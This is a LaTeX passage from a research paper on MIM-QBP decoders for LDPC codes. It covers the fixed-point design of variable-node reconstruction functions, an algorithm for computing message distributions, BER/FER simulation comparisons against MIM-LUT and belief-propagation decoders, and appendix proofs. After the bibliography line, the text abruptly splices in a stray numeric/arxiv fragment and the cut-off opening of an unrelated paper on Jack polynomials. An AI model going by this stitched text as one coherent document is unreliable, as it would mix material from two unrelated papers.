The computational complexity is $O(d_c + d_c \lceil \log_2(|\mathcal{S}|)\rceil)$ for one CN per iteration (including integer comparisons and additions with bit width $q_c$).
\subsection{Design of $\phi_v$ and $\phi_{ch}$ at VN}\label{section: MIM-QBP decoder at VN}
For $s \in \mathcal{S}$ and $l \in \mathcal{L}$, let
\begin{align}\label{eqn: best phi_v}
\left\{
\begin{array}{l}
\phi_v^*(s) = \log ({P_{S|X}(s|0) }/{ P_{S|X}(s|1)}),\\
\phi_{ch}^*(l) = \log ({P_{L|X}(l|0) }/{ P_{L|X}(l|1)}).
\end{array}
\right.
\end{align}
We can easily verify that the condition of \eqref{eqn: require phi_v} holds for $\phi_v = \phi_v^*$ and $\phi_{ch} = \phi_{ch}^*$.
\begin{theorem}\label{theorem: phi_v* is optimal}
If $\phi_v = \phi_v^*$ and $\phi_{ch} = \phi_{ch}^*$, $Q_v$ defined by \eqref{eqn: def of Q_v by Gamma} can maximize $I(X; R)$ among all the functions mapping $\mathcal{L} \times \mathcal{S}^{d_v - 1}$ to $\mathcal{R}$.
\end{theorem}
\begin{IEEEproof}
See Appendix \ref{appendix: phi_v* is optimal}.
\end{IEEEproof}
Theorem \ref{theorem: phi_v* is optimal} indicates that $(\phi_v^*, \phi_{ch}^*)$ is an optimal choice for $(\phi_c, \phi_{ch})$ in terms of maximizing $I(X; R)$.
Note that $\phi_v^*(s) = LLR(s) + \log(P_X(1) / P_X(0))$ and $\phi_{ch}^*(l) = LLR(l) + \log(P_X(1) / P_X(0))$, implying a close relation between the VN updates of the BP decoding and the MIM-QBP decoding for the case $\phi_v = \phi_v^*$ and $\phi_{ch} = \phi_{ch}^*$.
In the following, we design $\phi_v: \mathcal{S} \to \mathbb{Z}$ and $\phi_{ch}: \mathcal{L} \to \mathbb{Z}$ based on $\phi_v^*$ and $\phi_{ch}^*$ to realize fixed-point implementation for the VN update.
\begin{corollary}\label{corollary: phi_v* is optimal}
Let $\eta$ be a positive number.
If $\phi_v = \eta \phi_v^*$ and $\phi_{ch} = \eta \phi_{ch}^*$, $Q_v$ defined by \eqref{eqn: def of Q_v by Gamma} can maximize $I(X; R)$ among all the functions mapping $\mathcal{L} \times \mathcal{S}^{d_v - 1}$ to $\mathcal{R}$.
\end{corollary}
\begin{IEEEproof}
Corollary \ref{corollary: phi_v* is optimal} can be proved in a way similarly to the proof of Theorem \ref{theorem: phi_v* is optimal}.
\end{IEEEproof}
Denote the maximum allowed absolute value of $\phi_v(\cdot)$ and $\phi_{ch}(\cdot)$ by $|\phi_{v,ch}|_{max}$, which is an integer that can be set based on our needs.
Let
\[
|\phi_{v, ch}^*|_{max} = \max ( \{| \phi_v^*(s) |: s \in \mathcal{S}\} \cup \{| \phi_{ch}^*(l) |: l \in \mathcal{L}\} ).
\]
Note that $|\phi_{v, ch}^*|_{max} > 0$ holds for a general case.
Then, inspired by Corollary \ref{corollary: phi_v* is optimal}, we design $\phi_v: \mathcal{S} \to \mathbb{Z}$ and $\phi_{ch}: \mathcal{L} \to \mathbb{Z}$ by scaling $\phi_v^*$ and $\phi_{ch}^*$ approximately (loosely speaking, by factors around $\eta = |\phi_{v, ch}|_{max} / |\phi_{v, ch}^*|_{max} $) to the valid integer range $[-|\phi_{v, ch}|_{max}, |\phi_{v, ch}|_{max}]$ given below
\begin{align}\label{eqn: design of phi_v}
\left\{
\begin{array}{l}
\phi_v(s) = sgn(\phi_v^*(s)) \times\\
\quad\quad\quad \lfloor |\phi_v^*(s)| \cdot |\phi_{v, ch}|_{max} / |\phi_{v, ch}^*|_{max} + 0.5 \rfloor,\\
\phi_{ch}(s) = sgn(\phi_{ch}^*(s)) \times\\
\quad\quad\quad \lfloor |\phi_{ch}^*(s)| \cdot |\phi_{v, ch}|_{max} / |\phi_{v, ch}^*|_{max} + 0.5 \rfloor.
\end{array}
\right.
\end{align}
Suppose that the decoder is allowed to use at most $q_v$ bits for the additions for computing each outgoing message (refer to $\Phi_v$ defined by \eqref{eqn: def of Phi_v}).
Then, $|\phi_{v,ch}|_{max}$ can be taken as
\begin{equation}\label{eqn: phi_v max}
|\phi_{v,ch}|_{max} = \lfloor (2^{q_v-1} - 1)/(d_v + 1) \rfloor.
\end{equation}
Let $|\phi_{v}|_{max} = \{| \phi_v(s) |: s \in \mathcal{S}\}$ and $|\phi_{ch}|_{max} = \{| \phi_{ch}(l) |: l \in \mathcal{L}\}$.
\eqref{eqn: design of phi_v} and \eqref{eqn: phi_v max} ensure that
\begin{equation}\label{eqn: sum phi_max do not overflow}
|\phi_{ch}|_{max} + d_v |\phi_{v}|_{max} \leq 2^{q_v - 1} - 1,
\end{equation}
implying that the corresponding additions do not overflow.
After the design of RFs given by \eqref{eqn: design of phi_v}, $\Phi_v$ defined by \eqref{eqn: def of Phi_v} is a function mapping $\mathcal{L} \times \mathcal{S}^{d_v - 1}$ to $\mathbb{Z}$ and the resulting integers can be represented by $q_v$ bits.
Moreover, we can compute $\mathcal{B}$ and $P_{B|X}$ in a much faster way than using \eqref{eqn: def of mc_B} and \eqref{eqn: prob B|X}, respectively.
Similar to Algorithm \ref{algo: compute P_A|X} for computing $\mathcal{A}$ and $P_{A|X}$, we propose a fast method to compute $\mathcal{B}$ and $P_{B|X}$.
Similar to \eqref{eqn: joint P_L,S|X}, for $k \geq 0$, $L \in \mathcal{L}$, and $\mathbf{S} \in \mathcal{S}^k$, we have
\begin{equation*}
P_{L,\mathbf{S}|X}(l, \mathbf{s}|x) = P_{L|X}(l|x) \prod_{i = 1}^{\dim(\mathbf{s})} P_{S|X}(s_i|x),
\end{equation*}
which denotes the joint distribution of incoming message $(L, \mathbf{S}) \in \mathcal{L} \times \mathcal{S}^{k}$ conditioned on the channel input bit $X$ at a VN.
In particular, for $k = 0$, we let
\begin{equation*}
P_{L,\mathbf{S}|X}(l, \mathbf{s}|x) = P_{L|X}(l|x).
\end{equation*}
In addition, denote
\begin{equation*}
\mathcal{B}_k = \{b_{k, 1}, b_{k, 2}, \ldots, b_{k, |\mathcal{B}_k|}\} = \{\Phi_v(l, \mathbf{s}) : l \in \mathcal{L}, \mathbf{s} \in \mathcal{S}^{k}\},
\end{equation*}
where for $k = 0$, let
\begin{equation*}
\Phi_v(l, \mathbf{s}) = \phi_{ch}(l).
\end{equation*}
Moreover, let $B_k$ be a random variable which takes values from $\mathcal{B}_k$.
We have the following result.
\begin{proposition}\label{proposition: P(B_k|X)}
For $k = 0$, we have
\begin{align}\label{eqn: P(B0|X)}
\mathcal{B}_k &= \{\phi_{ch}(l):\, l \in \mathcal{L}\},\text{~and~}\nonumber\\
P_{B_k|X}(b_{k, i}|x) &= \sum_{l \in \mathcal{L}, \phi_{ch}(l) = b_{k, i}} P_{L|X}(l|x).
\end{align}
For $k > 0$, we have
\begin{align}\label{eqn: P(B_k|X)}
&\mathcal{B}_k = \{\phi_v(s) + b_{k-1, j}:\, s \in \mathcal{S}, b_{k-1, j} \in \mathcal{B}_{k-1}\},\text{~and~}\nonumber\\
&P_{B_k|X}(b_{k, i}|x) = \!\!\!\!\!\! \sum_{\substack{s \in \mathcal{S}, b_{k-1, j} \in \mathcal{B}_{k-1},\\ \phi_v(s) + b_{k-1, j} = b_{k, i}}} \!\!\!\!\!\! P_{S|X}(s|x) P_{B_{k-1}|X}(b_{k-1, j}|x).
\end{align}
\end{proposition}
\begin{IEEEproof}
For $k = 0$, \eqref{eqn: P(B0|X)} holds obviously.
For $k > 0$, we have
\begin{align*}
\mathcal{B}_k &= \{\Phi_v(l, \mathbf{s}) : l \in \mathcal{L}, \mathbf{s} \in \mathcal{S}^{k}\}\\
&= \{\phi_v(s) + \Phi_v(l, \mathbf{s}) : s \in \mathcal{S}, l \in \mathcal{L}, \mathbf{s} \in \mathcal{S}^{k-1}\}\\
&= \{\phi_v(s) + b_{k-1, j}:\, s \in \mathcal{S}, b_{k-1, j} \in \mathcal{B}_{k-1}\};
\end{align*}
meanwhile, we have
\begin{align*}
&P_{B_k|X}(b_{k, i}|x) \\
=& \sum_{l \in \mathcal{L}, \mathbf{s} \in \mathcal{S}^{k}, \Phi_v(l, \mathbf{s}) = b_{k,i}} P_{L, \mathbf{S} | X}(l, \mathbf{s} | x)\nonumber\\
=& \sum_{l \in \mathcal{L}, \mathbf{s} \in \mathcal{S}^{k}, \Phi_v(l, \mathbf{s}) = b_{k,i}} P_{L|X}(l|x) \prod_{i=1}^{k} P_{S|X}(s_i|x)\nonumber\\
=& \sum_{s_k \in \mathcal{S}} P_{S|X}(s_k|x) \!\!\!\! \sum_{\substack{l \in \mathcal{L}, \mathbf{s} \in \mathcal{S}^{k-1},\\ \phi_v(s_k) + \Phi_v(l, \mathbf{s}) = b_{k,i}}} \!\!\!\!\!\!\!\!\!\! P_{L|X}(l|x) \prod_{i=1}^{k-1} P_{S|X}(s_i|x)\nonumber\\
=& \sum_{s_k \in \mathcal{S}} P_{S|X}(s_k|x) \!\!\!\! \sum_{\substack{l \in \mathcal{L}, \mathbf{s} \in \mathcal{S}^{k-1},\\ \phi_v(s_k) + \Phi_v(l, \mathbf{s}) = b_{k,i}}} P_{L, \mathbf{S} | X}(l, \mathbf{s} | x)\nonumber\\
=& \sum_{s \in \mathcal{S}} P_{S|X}(s|x) \sum_{\substack{b_{k-1, j} \in \mathcal{B}_{k-1},\\ \phi_v(s) + b_{k-1, j} = b_{k, i}}} P_{B_{k-1}|X}(b_{k-1, j}|x).
\end{align*}
This completes the proof.
\end{IEEEproof}
According to Proposition \ref{proposition: P(B_k|X)}, we can compute $\mathcal{B}_0$, $P_{B_0|X}$, $\mathcal{B}_1$, $P_{B_1|X}$, $\ldots$, $\mathcal{B}_{d_v-1}$, $P_{B_{d_v-1}|X}$ sequentially.
Then, $\mathcal{B}$ and $P_{B|X}$ equal to $\mathcal{B}_{d_v-1}$ and $P_{B_{d_v-1}|X}$, respectively.
We summarize the corresponding computation by Algorithm \ref{algo: compute P_B|X}.
Since $|\mathcal{B}_{k-1}|$ in line \ref{code: comp P(B|X)} of Algorithm \ref{algo: compute P_B|X} is upper-bounded by $2^{q_v}$, the complexity of Algorithm \ref{algo: compute P_B|X} is $O(d_v 2^{q_v} |\mathcal{S}|)$.
\begin{algorithm}[t!]
\caption{Computation of $\mathcal{B}$ and $P_{B|X}$}
\label{algo: compute P_B|X}
\begin{algorithmic}[1]
\REQUIRE $\phi_v, \phi_{ch}, P_{S|X}, P_{L|X}, d_v$.
\ENSURE $\mathcal{B}$ and $P_{B|X}$.
\STATE Set $\mathcal{B}_k = \emptyset$ and $P_{B_k|X}(\cdot|x) = 0$ for $k = 0, 1, \ldots, d_v - 1$ and for $x = 0, 1$.
\FOR {$l \in \mathcal{L}$}
\STATE $\mathcal{B}_0 = \mathcal{B}_0 \cup \{\phi_{ch}(l)\}$. $//$\textit{See \eqref{eqn: P(B0|X)}}
\STATE $P_{B_0|X}(\phi_{ch}(l) | x) \,{+\!\!=}\, P_{L|X}(l|x)$ for $x = 0, 1$.
\ENDFOR
\FOR {$k = 1, 2, \ldots, d_v - 1$}
\FOR {$s \in \mathcal{S}, b_{k-1, j} \in \mathcal{B}_{k-1}$}\label{code: comp P(B|X)}
\STATE $b_{k, i} = \phi_v(s) + b_{k-1, j}$.
\STATE $\mathcal{B}_k = \mathcal{B}_k \cup \{b_{k, i}\}$. $//$\textit{See \eqref{eqn: P(B_k|X)}}
\STATE $P_{B_k|X}(b_{k, i}|x) \,{+\!\!=}\, P_{S|X}(s|x) P_{B_{k-1}|X}(b_{k-1, j}|x))$ for $x = 0, 1$.
\ENDFOR
\ENDFOR
\STATE $P_{B|X} = P_{B_{d_v - 1}|X}$.
\RETURN $\mathcal{B}$ and $P_{B|X}$.
\end{algorithmic}
\end{algorithm}
At this point, starting from $\mathcal{B}$ and $P_{B|X}$, we can compute the optimal SDQ $\Lambda_v$, the TS $\Gamma_v$, the UF $Q_v$, and the pmf $P_{R|X}$ given by \eqref{eqn: def of Lambda_v}, \eqref{eqn: def of Gamma_v}, \eqref{eqn: def of Q_v by Gamma}, and \eqref{eqn: P_(R|X) lambda} respectively.
Till now, the MIM-QBP decoder design at VN is completed.
We only need to store $\phi_v$, $\phi_{ch}$, and $\Gamma_v$ for the MIM-QBP decoder, and can implement the VN update based on $Q_v$ to compute the messages passed from VN to CN.
The computational complexity is $O(d_v + d_v \lceil \log_2(|\mathcal{R}|)\rceil)$ for one VN per iteration (including integer comparisons and additions with bit width $q_v$).
\subsection{Remarks}\label{section: remarks at design}
As illustrated by Section \ref{section: remarks at remove}, the design of $Q_{e}$ is quite similar to that of $Q_{v}$.
In particular, the same RFs $\phi_v$ and $\phi_{ch}$ can be used for the design of $Q_{e}$ and $Q_{v}$ for a given decoding iteration, which is due to the reason that we can derive a theorem similar to Theorem \ref{theorem: phi_v* is optimal} for the design of $Q_{e}$.
In addition, the condition of \eqref{eqn: sum phi_max do not overflow} ensures that the additions involved in the design of $Q_{e}$ do not overflow.
Moreover, we can also derive a theorem similar to Proposition \ref{proposition: P(B_k|X)} and an algorithm similar to Algorithm \ref{algo: compute P_B|X} for the design of $Q_{e}$.
At this point, the design of $Q_{e}$ is determined, which has a complexity of $O(d_v 2^{q_v} |\mathcal{S}| + 2^{2 q_v} |\mathcal{X}|)$ (for one decoding iteration).
After the design of $Q_e$, implementing $Q_e$ for one VN for one iteration during decoding has complexity $O(d_v)$, which is equal to the complexity of addition operations with bit width $q_v$.
We have completed illustrating how to efficiently design the RFs for the MIM-QBP decoder given the parameters $P_{L|X}, \mathcal{L}, \mathcal{R}, \mathcal{S}, q_c$, and $q_v$, where $q_c$ and $q_v$ restrict the maximum bit widths that can be used for the CN update and VN update during the decoding process, respectively.
We remark that if $q_c$ and $q_v$ are sufficiently large, the MIM-QBP decoder can always maximize the MI between the outgoing message and the channel input bit according to Corollaries \ref{corollary: phi_c* is optimal} and \ref{corollary: phi_v* is optimal}.
In this case, the MIM-QBP decoder works the same as the MIM-LUT decoder without table decomposition.
Similar to the MIM-LUT decoder, the performance of the MIM-QBP decoder also depends greatly on the choice of $P_{L|X}$, which is essentially determined by the design noise standard deviation $\sigma_d$.
Our simulation results indicate that a proper choice of $\sigma_d$ should also be around the decoding threshold $\sigma^*$.
It is an open problem that whether there exists a fast method, instead of using simulations, to find the best $\sigma_d$.
We find that both the MIM-LUT decoder and the MIM-QBP decoder can be designed at a certain $\sigma_d$ around $\sigma^*$ while working very well at all noise levels (noise standard deviations).
Furthermore, for any noise level $\sigma$ not around $\sigma^*$, the decoder designed at $\sigma_d = \sigma$ generally work very badly even at the noise level $\sigma$ according to extensive simulation results.
The essential reason for the phenomenon we observed needs to be explored in future.
Since the MIM-LUT decoder \cite{Kurkoski08, Romero15decoding, Romero16, lewandowsky2019design, meidlinger2020design, Meidlinger15, Lewandowsky16, Lewandowsky18} only uses table lookup operations during decoding, the addition operations may be regarded as a drawback of the MIM-QBP decoder.
However, thanks to the use of additions, the MIM-QBP decoder can overcome the shortcoming of the MIM-LUT decoder due to the use of LUTs (table decomposition is necessary for the MIM-LUT decoder to reduce memory consumption but will lead to performance loss).
\section{Simulation Results}\label{section: simulation results}
\begin{figure}[t]
\centering
\subfigure[A maximum of 10 iterations.]{%
\includegraphics[scale = 0.5]{pics/fig_BER_2048_6_32_10iter.pdf}}
\subfigure[A maximum of 30 iterations.]{%
\includegraphics[scale = 0.5]{pics/fig_BER_2048_6_32_30iter.pdf}
}
\caption{BER and FER simulation results for the (6, 32) code \cite{IEEESTD06} of length 2048 and rate 0.84. Results for the max-LUT decoder are from \cite[Fig. 5]{Romero16}. We set $(q_c, q_v) = (10, 8)$ and $(q_c, q_v) = (12, 10)$ for the 3-bit and 4-bit MIM-QBP decoders, respectively.}
\label{fig: BER_2048_6_32}
\end{figure}
Monte-Carlo simulations are carried out to evaluate the error rate performance of the proposed MIM-QBP decoder, assuming binary phase-shift keying (BPSK) transmission over the AWGN channel.
We design the MIM-QBP decoder by fixing $|\mathcal{L}| = |\mathcal{R}| = |\mathcal{S}| = 8/16$ (3-/4-bit decoder) for all iterations.
We specify $q_c$ (bit width used for CN update), $q_v$ (bit width used for VN update), and $\sigma_d$ (design noise standard deviation) for each specific example.
At least 100 frame errors are collected for each simulated SNR.
\begin{example}\label{eg: code 2048}
Consider the regular (6, 32) LDPC code taken from
\cite{IEEESTD06}.
This code has length 2048 and rate 0.84.
We use $(q_c, q_v) = (10, 8)/(12, 10)$ to design the 3-/4-bit MIM-QBP decoder at $\sigma_d = 0.5343/0.5417$, respectively.
The bit error rate (BER) and frame error rate (FER) performance of different decoders is illustrated by Fig. \ref{fig: BER_2048_6_32}.
From Fig. \ref{fig: BER_2048_6_32}, we observe that our proposed 4-bit MIM-QBP decoder outperforms both the 4-bit MIM-LUT decoder (i.e. the 4-bit max-LUT decoder) \cite{ Romero16} and the floating-point BP decoder, with 10-30 iterations.
Moreover, even the 3-bit MIM-QBP decoder can outperform the floating-point BP decoder at high SNR regions.
\end{example}
\begin{figure}[!t]
\centering
\includegraphics[scale = 0.5]{pics/fig_BER_1998_4_36.pdf}
\caption{BER and FER simulation results for the (4, 36) code (with identifier 1998.5.3.2665 in \cite{MacKay}) of length 1998 and rate 0.89. A maximum of 10 iterations is used. Results for the max-LUT decoders are from \cite[Fig. 4]{Romero16}. We set $(q_c, q_v) = (10, 8)$ and $(q_c, q_v) = (12, 10)$ for the 3-bit and 4-bit MIM-QBP decoders, respectively.}
\label{fig: BER_1998_4_36}
\end{figure}
\begin{example}
Consider the regular (4, 36) LDPC code with identifier 1998.5.3.2665 taken from \cite{MacKay}.
This code has length 1998 and rate 0.89.
We use $(q_c, q_v) = (10, 8)/(12, 10)$ to design the 3-/4-bit MIM-QBP decoder at $\sigma_d = 0.4796/0.4858$, respectively.
The BER and FER performance of different decoders is presented by Fig. \ref{fig: BER_1998_4_36}.
Similar to the case shown by Example \ref{eg: code 2048}, the 3-bit and 4-bit MIM-QBP decoders achieve better error rate performance than the corresponding 3-bit and 4-bit max-LUT decoders \cite{ Romero16}. Again, the MIM-QBP with just 3 bits per message can outperform the floating-point BP decoder in terms of BER performance, at high SNR regions and with a maximum of 10 iterations.
\end{example}
\begin{example}
Consider the regular (3, 6) LDPC code with identifier 8000.4000.3.483 taken from \cite{MacKay}.
This code has length 8000 and rate 0.5.
We use $(q_c, q_v) = (9, 8)/(10, 10)$ to design the 3-/4-bit MIM-QBP decoder at $\sigma_d = 0.8479/0.8660$, respectively.
The BER performance of different decoders is presented by Fig. \ref{fig: BER_8000_3_6}.
\begin{figure}[t]
\centering
\includegraphics[scale = 0.5]{pics/fig_BER_8000_3_6.pdf}
\caption{BER simulation results for the (3, 6) code (with identifier 8000.4000.3.483 in \cite{MacKay}) of length 8000 and rate 0.5. A maximum of 50 iterations is used. Results for the discrete decoder are from \cite[Fig. 18]{ Lewandowsky18}. We set $(q_c, q_v) = (9, 8)$ and $(q_c, q_v) = (10, 10)$ for the 3-bit and 4-bit MIM-QBP decoders, respectively.}
\label{fig: BER_8000_3_6}
\end{figure}
Note that the 3-/4-bit non-uniform QBP decoder taken from \cite{ Lee05} requires $(q_c, q_v) = (9, 8)/(12, 10)$, respectively.
In addition, the design of the corresponding decoders involves much manual optimization, while our proposed MIM-QBP decoders are designed systematically.
From Fig. \ref{fig: BER_8000_3_6}, we observe that the 3-bit MIM-QBP decoder outperforms the 3-bit non-uniform QBP decoder \cite{ Lee05}; meanwhile, the 4-bit MIM-QBP decoder performs comparably to the 4-bit non-uniform decoder, while it requires 2 bits less than the latter for the additions for CN update.
Moreover, the 4-bit MIM-QBP decoder achieves better performance than the 4-bit discrete decoder \cite{ Lewandowsky18}, and it only lags behind the floating-point BP decoder by around 0.05 dB at the BER of $10^{-6}$.
\end{example}
\section{Conclusion}\label{section: conclusion}
In this paper, we have proposed the MIM-QBP decoding to remove the LUTs used in the MIM-LUT decoding \cite{Kurkoski08, Romero15decoding, Romero16, Lewandowsky16, Lewandowsky18, lewandowsky2019design, meidlinger2020design, Meidlinger15}.
Our method led to the hardware-friendly MIM-QBP decoder which can be implemented based only on simple mappings and fixed-point additions.
From this point of view, our decoder worked similarly to those presented by \cite{Richardson01capacity, Lee05, Thorpe02}, but instead of using manual optimization, we developed an efficient and systematic design for the RFs of the MIM-QBP decoder.
In terms of error performance, simulation results showed that the MIM-QBP decoder can always considerably outperform the state-of-the-art MIM-LUT decoder \cite{Kurkoski08, Romero15decoding, Romero16, Lewandowsky16, Lewandowsky18, lewandowsky2019design, meidlinger2020design, Meidlinger15}, mainly because the MIM-QBP decoder can avoid the error performance loss caused by the table decomposition applied to the MIM-LUT decoder.
Moreover, the MIM-QBP decoder has advantages over the floating-point BP decoder when
\begin{itemize}
\item the maximum allowed number of decoding iterations is small (generally less than 30), and/or
\item the code rate is high, and/or
\item the operating SNR is high.
\end{itemize}
In particular, computer simulations demonstrated that the MIM-QBP decoder with only 3-bit per message can outperform the floating-point BP decoder at high SNR regions when testing on high-rate codes with a maximum of 10--30 iterations.
Therefore, the proposed MIM-QBP decoding showed high potential for practical implementation in systems that have stringent requirements on memory consumption and complexity and latency of LDPC decoders.
\appendices
\section{Proof of Theorem \ref{theorem: phi_c* is optimal}}\label{appendix: phi_c* is optimal}
Let $\phi_c = \phi_c^*$.
For $\mathbf{r} \in \mathcal{R}^{d_c - 1}$, we have
\begin{equation*}
g(\mathbf{r}) = \prod_{i = 1}^{\dim(\mathbf{r})} g(r_i)
\end{equation*}
according to \eqref{eqn: P(R|0) - P(R|1)}.
Let
\[
h(\mathbf{r}) = |\{r_i: 1 \leq i \leq \dim(\mathbf{r}), |g(r_i)| = 1\}|.
\]
Then, we have
\begin{align}\label{eqn: |Phi_c| = g(r) h(r)epsilon}
|\Phi_c(\mathbf{r})| &= \sum_{i = 1}^{\dim(\mathbf{r})} |\phi^*_c(r_i)|\nonumber\\
&= - \sum_{i = 1}^{\dim(\mathbf{r})} \log \left(|g(r_i)| \right) + h(\mathbf{r}) \epsilon\nonumber\\
&= - \log \left(\prod_{i = 1}^{\dim(\mathbf{r})} |g(r_i)| \right) + h(\mathbf{r}) \epsilon\nonumber\\
&= - \log \left(|g(\mathbf{r})| \right) + h(\mathbf{r}) \epsilon.
\end{align}
Meanwhile, we have
\begin{align}\label{eqn: sgn of Phi_c}
sgn(\Phi_c(\mathbf{r})) &= \prod_{i = 1}^{\dim(\mathbf{r})} sgn(\phi_c(r_i))\nonumber\\
&= \prod_{i = 1}^{\dim(\mathbf{r})} sgn(g(r_i)) = sgn\left( g(\mathbf{r}) \right).
\end{align}
For $\mathbf{r}, \mathbf{r}' \in \mathcal{R}^{d_c - 1}$, assume $\Phi_c(\mathbf{r}) = a_i$ and $\Phi_c(\mathbf{r'}) = a_{i'}$, we are now to prove
\begin{equation}\label{eqn: i < i' for phi_c}
\frac{P_{\mathbf{R}|X}(\mathbf{r} | 0) }{ P_{\mathbf{R}|X}(\mathbf{r} | 1)} > \frac{ P_{\mathbf{R}|X}(\mathbf{r}' | 0) }{ P_{\mathbf{R}|X}(\mathbf{r}' | 1)} \Rightarrow i < i'.
\end{equation}
We have
\begin{align*}
&P_{\mathbf{R}|X}(\mathbf{r} | 0) / P_{\mathbf{R}|X}(\mathbf{r} | 1) > P_{\mathbf{R}|X}(\mathbf{r}' | 0) / P_{\mathbf{R}|X}(\mathbf{r}' | 1)\nonumber\\
\Rightarrow & P_{X|\mathbf{R}}(0 | \mathbf{r}) / P_{X|\mathbf{R}}(1 | \mathbf{r}) > P_{X|\mathbf{R}}(0 | \mathbf{r}') / P_{X|\mathbf{R}}(1 | \mathbf{r}')\nonumber\\
\Rightarrow & g(\mathbf{r}) > g(\mathbf{r}')\nonumber
\end{align*}
If $sgn(g(\mathbf{r})) \neq sgn(g(\mathbf{r}'))$, we have
\begin{align*}
&P_{\mathbf{R}|X}(\mathbf{r} | 0) / P_{\mathbf{R}|X}(\mathbf{r} | 1) > P_{\mathbf{R}|X}(\mathbf{r}' | 0) / P_{\mathbf{R}|X}(\mathbf{r}' | 1)\nonumber\\
\Rightarrow& sgn(g(\mathbf{r})) > sgn(g(\mathbf{r}'))\nonumber\\
\overset{(a)}{\Rightarrow}& sgn(\Phi_c(\mathbf{r})) \succ sgn(\Phi_c(\mathbf{r}'))\nonumber\\
{\Rightarrow}& \Phi_c(\mathbf{r}) \succ \Phi_c(\mathbf{r}')\nonumber\\
\overset{(b)}{\Rightarrow}& i < i',
\end{align*}
where $(a)$ and $(b)$ are based on \eqref{eqn: sgn of Phi_c} and \eqref{eqn: order of A}.
Otherwise, we have $sgn(g(\mathbf{r})) = sgn(g(\mathbf{r}')) \neq 0$, leading to
\begin{align*}
&P_{\mathbf{R}|X}(\mathbf{r} | 0) / P_{\mathbf{R}|X}(\mathbf{r} | 1) > P_{\mathbf{R}|X}(\mathbf{r}' | 0) / P_{\mathbf{R}|X}(\mathbf{r}' | 1)\\
\Rightarrow& sgn(g(\mathbf{r}))|g(\mathbf{r})| > sgn(g(\mathbf{r}))|g(\mathbf{r}')|\\
\Rightarrow& -sgn(g(\mathbf{r}))\log(|g(\mathbf{r})|) < -sgn(g(\mathbf{r}))\log(|g(\mathbf{r}')|)\\
\overset{(c)}{\Rightarrow}& sgn(g(\mathbf{r})) (-\log(|g(\mathbf{r})|) + h(\mathbf{r}) \epsilon) < \\
&\quad\quad\quad\quad\quad\quad sgn(g(\mathbf{r})) (-\log(|g(\mathbf{r}')|) + h(\mathbf{r}') \epsilon)\\
\overset{(d)}{\Rightarrow}& \Phi_c(\mathbf{r}) < \Phi_c(\mathbf{r}')\\
\Rightarrow& \Phi_c(\mathbf{r}) \succ \Phi_c(\mathbf{r}')\\
\overset{(e)}{\Rightarrow}& i < i',
\end{align*}
where $(c), (d)$ and $(e)$ are based on \eqref{eqn: epsilon}, \eqref{eqn: |Phi_c| = g(r) h(r)epsilon}, and \eqref{eqn: order of A}, respectively.
At this point, the proof of \eqref{eqn: i < i' for phi_c} is completed.
\eqref{eqn: i < i' for phi_c} implies that elements in $\mathcal{A}$ are listed in a way (see \eqref{eqn: order of A}) equivalent to listing $\mathbf{r} \in \mathcal{R}^{d_c - 1}$ in descending order based on $P_{\mathbf{R}|X}(\mathbf{r}|0) / P_{\mathbf{R}|X}(\mathbf{r}|1)$ (see \eqref{eqn: LLR increasing}).
Therefore, $Q_c$ defined by \eqref{eqn: def of Q_c by Gamma} can maximize $I(X; S)$ among all the functions mapping $\mathcal{R}^{d_c - 1}$ to $\mathcal{S}$ according to Section \ref{section: DP quantization}.
\section{Proof of Theorem \ref{theorem: phi_v* is optimal}}\label{appendix: phi_v* is optimal}
Let $\phi_v = \phi_v^*$ and $\phi_{ch} = \phi_{ch}^*$.
For $(l, \mathbf{s}) \in \mathcal{L} \times \mathcal{S}^{d_v - 1}$, according to \eqref{eqn: def of Phi_v}, we have
\begin{align}\label{eqn: Phi_v = log prod}
\Phi_v(l, \mathbf{s}) = \log\left(\frac{P_{L|X}(l|0)}{ P_{L|X}(l|1)} \prod_{i=1}^{\dim(\mathbf{s})} \frac{P_{S|X}(s_i|0)}{ P_{S|X}(s_i|1)}\right).
\end{align}
Then, for $(l, \mathbf{s}), (l', \mathbf{s}') \in \mathcal{L} \times \mathcal{S}^{d_v - 1}$, assume $\Phi_v(l, \mathbf{s}) = b_i$ and $\Phi_v(l', \mathbf{s}') = b_{i'}$.
We have
\begin{align}\label{eqn: i < i' for phi_v}
&\frac{P_{L, \mathbf{S} | X}(l, \mathbf{s} | 0) }{ P_{L, \mathbf{S} | X}(l, \mathbf{s} | 1)} >
\frac{ P_{L, \mathbf{S} | X}(l', \mathbf{s}' | 0) }{ P_{L, \mathbf{S} | X}(l', \mathbf{s}' | 1)}\nonumber\\
\overset{(f)}{\Rightarrow} & \frac{P_{L|X}(l|0)}{ P_{L|X}(l|1)} \prod_{i=1}^{\dim(\mathbf{s})} \frac{P_{S|X}(s_i|0)}{ P_{S|X}(s_i|1)} > \nonumber\\
&\quad\quad\quad\quad \frac{P_{L|X}(l'|0)}{ P_{L|X}(l'|1)} \prod_{i=1}^{\dim(\mathbf{s}')} \frac{P_{S|X}(s'_i|0)}{ P_{S|X}(s'_i|1)}\nonumber\\
\overset{(g)}{\Rightarrow} & \Phi_v(l, \mathbf{s}) > \Phi_v(l', \mathbf{s}')\nonumber\\
\overset{(h)}{\Rightarrow} & i < i',
\end{align}
where $(f), (g)$ and $(h)$ hold because of \eqref{eqn: joint P_L,S|X}, \eqref{eqn: Phi_v = log prod}, and \eqref{eqn: order of B}, respectively.
\eqref{eqn: i < i' for phi_v} implies that elements in $\mathcal{B}$ are listed in a way (see \eqref{eqn: order of B}) equivalent to listing $(l, \mathbf{s}) \in \mathcal{L} \times \mathcal{S}^{d_v - 1}$ in descending order based on $P_{L, \mathbf{S}|X}(l, \mathbf{s}|0) / P_{L, \mathbf{S}|X}(l, \mathbf{s}|1)$ (see \eqref{eqn: LLR increasing}).
Therefore, $Q_v$ defined by \eqref{eqn: def of Q_v by Gamma} can maximize $I(X; R)$ among all the functions mapping $\mathcal{L} \times \mathcal{S}^{d_v - 1}$ to $\mathcal{R}$ according to Section \ref{section: DP quantization}.
\ifCLASSOPTIONcaptionsoff
\newpage
\fi
\bibliographystyle{IEEEtran}
|
1,477,468,750,054 | arxiv | \section{Introduction}
The Jack polynomials form a parametrized basis of symmetric polynomials. A~special case of these consists of the Schur polynomials, important in the character theory of the symmetric groups. By means of a commutative algebra of dif\/ferential-dif\/ference operators the theory was extended to nonsymmetric Jack
